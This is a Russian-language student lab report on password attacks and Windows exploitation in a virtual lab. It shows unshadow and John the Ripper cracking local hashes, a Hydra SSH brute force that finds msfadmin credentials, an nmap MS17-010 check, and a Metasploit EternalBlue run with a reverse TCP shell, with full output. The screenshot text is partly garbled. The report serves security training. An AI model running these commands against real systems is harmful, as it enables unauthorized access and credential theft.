# Отчет

# Задание:

- 1.Изучить вопрос безопасности паролей. Провести атаку на пароли с помощью John The Ripper+unshadow (оффлайн режим), Hydra (онлайн режим). В качестве инструкции можно использовать видеоматерилы или документ из доп материалов УрокМetasploitкоманды.docx
- 2.Установить Metasploit Framework(если не был установлен), настроить (как в методичке к уроке)
- 3. Проверить систему на базе OC Windows на уязвимости, которые могут привести к атакам WannaCRY и подобного вредоносного ПО. Если система уязвима, при помощи MSF продемонстрируйте возможные векторы атак с использованием данной уязвимости.

# Выполнение:

- 1. Изучить вопрос безопасности паролей.
- 1.1 Атака на пароли с помощью John The Ripper+unshadow (оффлайн режим):

Команды:

unshadow /etc/passwd /etc/shadow > unshadow.txt john unshadow.txt --show

Результат:

kali:kali:1000:1000:,,,:/home/kali:/bin/bash

1 password hash cracked, 0 left

```
kali@kali20:~

File Actions Edit View Help

root@kali20:/home/kali# unshadow /etc/passwd /etc/shadow > unshadow.txt
root@kali20:/home/kali# john unshadow.txt -- show
kali:kali:1000:1000:,,,:/home/kali:/bin/bash

1 password hash cracked, 0 left
root@kali20:/home/kali#
```

# 1.2 Атака на пароли с помощью Hydra (онлайн режим):

Команды:

Изучить вопрос безопасности паролей

# Результат:

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-27 15:14:19 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (I:1/p:3),  $\sim$ 1 try per task [DATA] attacking ssh://192.168.1.172:22/

[22][ssh] host: 192.168.1.172 login: msfadmin password: msfadmin

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-27 15:14:21

```
File Actions Edit View Help

root@kali20:/home/kali# hydra -l msfadmin ssh://192.168.1.172 -e nsr
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret serv ice organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-27 15:14:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommen ded to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://192.168.1.172:22/
[22][ssh] host: 192.168.1.172 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-27 15:14:21
root@kali20:/home/kali#
```

2. Установить и настроить Metasploit Framework.

Установка Metasploit Framework не потребовалась.

- 3. Уязвимости ОС Windows.
- 3.1 Проверить систему на базе OC Windows на уязвимости, которые могут привести к атакам WannaCRY и подобного вредоносного ПО:

Команды:

nmap --script smb-vuln-ms17-010.nse 192.168.1.164

## Результат:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 04:48 +08
Nmap scan report for 192.168.1.164
Host is up (0.00032s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn

```
445/tcp open microsoft-ds
2869/tcp open icslap
5357/tcp open wsdapi
MAC Address: 00:0C:29:52:EA:B0 (VMware)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
   State: VULNERABLE
   IDs: CVE:CVE-2017-0143
   Risk factor: HIGH
    A critical remote code execution vulnerability exists in Microsoft SMBv1
     servers (ms17-010).
   Disclosure date: 2017-03-14
   References:
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
    https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-
attacks/
     https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 5.10 seconds
```

```
kali@kali20:~
 File Actions Edit View Help
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 04:49 +08
Nmap scan report for 192.168.1.164
Nmap scan report for 192.168.1.164
Host is up (0.00029s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
MAC Address: 00:0C:29:52:EA:B0 (VMware)
Host script results:
   smb-vuln-ms17-010:
      VULNERABLE:
      Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
         State: VULNERABLE
         Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1
             servers (ms17-010).
         Disclosure date: 2017-03-14
           https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
            https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 4.71 seconds root@kali20:/home/kali#
```

# 3.2 При помощи MSF продемонстрируйте возможные векторы атак:

## 3.2.1 Поиск exploit

Команды:

search CVE-2017-0143

Результат:

**Matching Modules** 

# Name Disclosure Date Rank Check Description

- ----

0 auxiliary/admin/smb/ms17\_010\_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

- 1 auxiliary/scanner/smb/smb\_ms17\_010 normal No MS17-010 SMB RCE Detection
- 2 exploit/windows/smb/ms17\_010\_eternalblue 2017-03-14 average Yes MS17-010 Eternalblue SMB Remote Windows Kernel Pool Corruption
- 3 exploit/windows/smb/ms17\_010\_eternalblue\_win8 2017-03-14 average No MS17-010 Eternalblue SMB Remote Windows Kernel Pool Corruption for Win8+
- 4 exploit/windows/smb/ms17\_010\_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
- 5 exploit/windows/smb/smb\_doublepulsar\_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index, for example use 5 or use exploit/windows/smb/smb doublepulsar rce

## 3.2.1 Выбор exploit для использования

## Команды:

use exploit/windows/smb/ms17\_010\_eternalblue

## 3.2.2 Эксплуатация уязвимостиУстановка адреса атакуемого узла:

set RHOSTS 192.168.1.164 set LHOSTS 192.168.1.139 set payload windows/x64/shell/reverse\_tcp

## Результат:

```
[*] Started reverse TCP handler on 192.168.1.139:4444
[*] 192.168.1.164:445 - Using auxiliary/scanner/smb/smb ms17 010 as check
                   - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional
[+] 192.168.1.164:445
7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.164:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.1.164:445 - Connecting to target for exploitation.
[+] 192.168.1.164:445 - Connection established for exploitation.
[+] 192.168.1.164:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.164:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.1.164:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows
7 Profes
[*] 192.168.1.164:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional
7601 Serv
[*] 192.168.1.164:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31
                                                               ice Pack 1
[+] 192.168.1.164:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.164:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.164:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.164:445 - Starting non-paged pool grooming
[+] 192.168.1.164:445 - Sending SMBv2 buffers
[+] 192.168.1.164:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.164:445 - Sending final SMBv2 buffers.
[*] 192.168.1.164:445 - Sending last fragment of exploit packet!
[*] 192.168.1.164:445 - Receiving response from exploit packet
[+] 192.168.1.164:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.164:445 - Sending egg to corrupted connection.
[*] 192.168.1.164:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 192.168.1.164
[*] Command shell session 2 opened (192.168.1.139:4444 -> 192.168.1.164:49707) at 2020-09-
29 05:13:39 +0800
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32>dir \
dir \
```

```
ପିପିପିପିନ୍ଦିବର ବର୍ଷ ବର୍ଷ C:\
14.07.2009 12:20 <DIR>
                          PerfLogs
07.02.2017 21:33 <DIR>
                          Program Files
07.02.2017 21:37 <DIR>
                           Program Files (x86)
28.09.2020 20:55 <DIR>
                          Users
28.09.2020 20:56 <DIR>
                          Windows
                           *
30.01.2017 17:50 <DIR>
                       0 0000
           0 蹴���
           6 ����� 51�356�168�192 ���� □����
C:\Windows\system32>
```

```
kali@kali20:~
   File Actions Edit View Help
                                                                                                                                                                                        The target port (TCP)
(Optional) The Windows domain to use for authentication
(Optional) The password for the specified username
(Optional) The username to authenticate as
Check if remote architecture matches exploit Target.
Check if remote OS matches exploit Target.
            SMBDomain .
SMBPass
SMBUser
VERIFY_ARCH true
VERIFY_TARGET true
Payload options (windows/x64/meterpreter/reverse_tcp):
            EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.139 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
            Id Name
                          Windows 7 and Server 2008 R2 (x64) All Service Packs
msf5 exploit(vindows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/sind_ipv6_tcp set payload windows/x64/shell/bind_ipv6_tcp_usid set payload windows/x64/shell/bind_tcp_usid set payload windows/x64/shell/bind_tcp set payload windows/x64/shell/bind_tcp_set payload windows/x64/shell/bind_tcp_usid set payload windows/x64/shell/bind_tcp_usid set payload windows/x64/shell/reverse_tcp_usid set payload windows/x64/shell_bind_tcp_set payload windows/x64/shell_reverse_tcp_usid set payload windows/x64/shell_reverse_tcp_usid set payload windows/x64/shell_reverse_tcp_set payload windows/x64/shell_reverse_tcp_usid set payload wi
C:\Windows\system32>dir /
```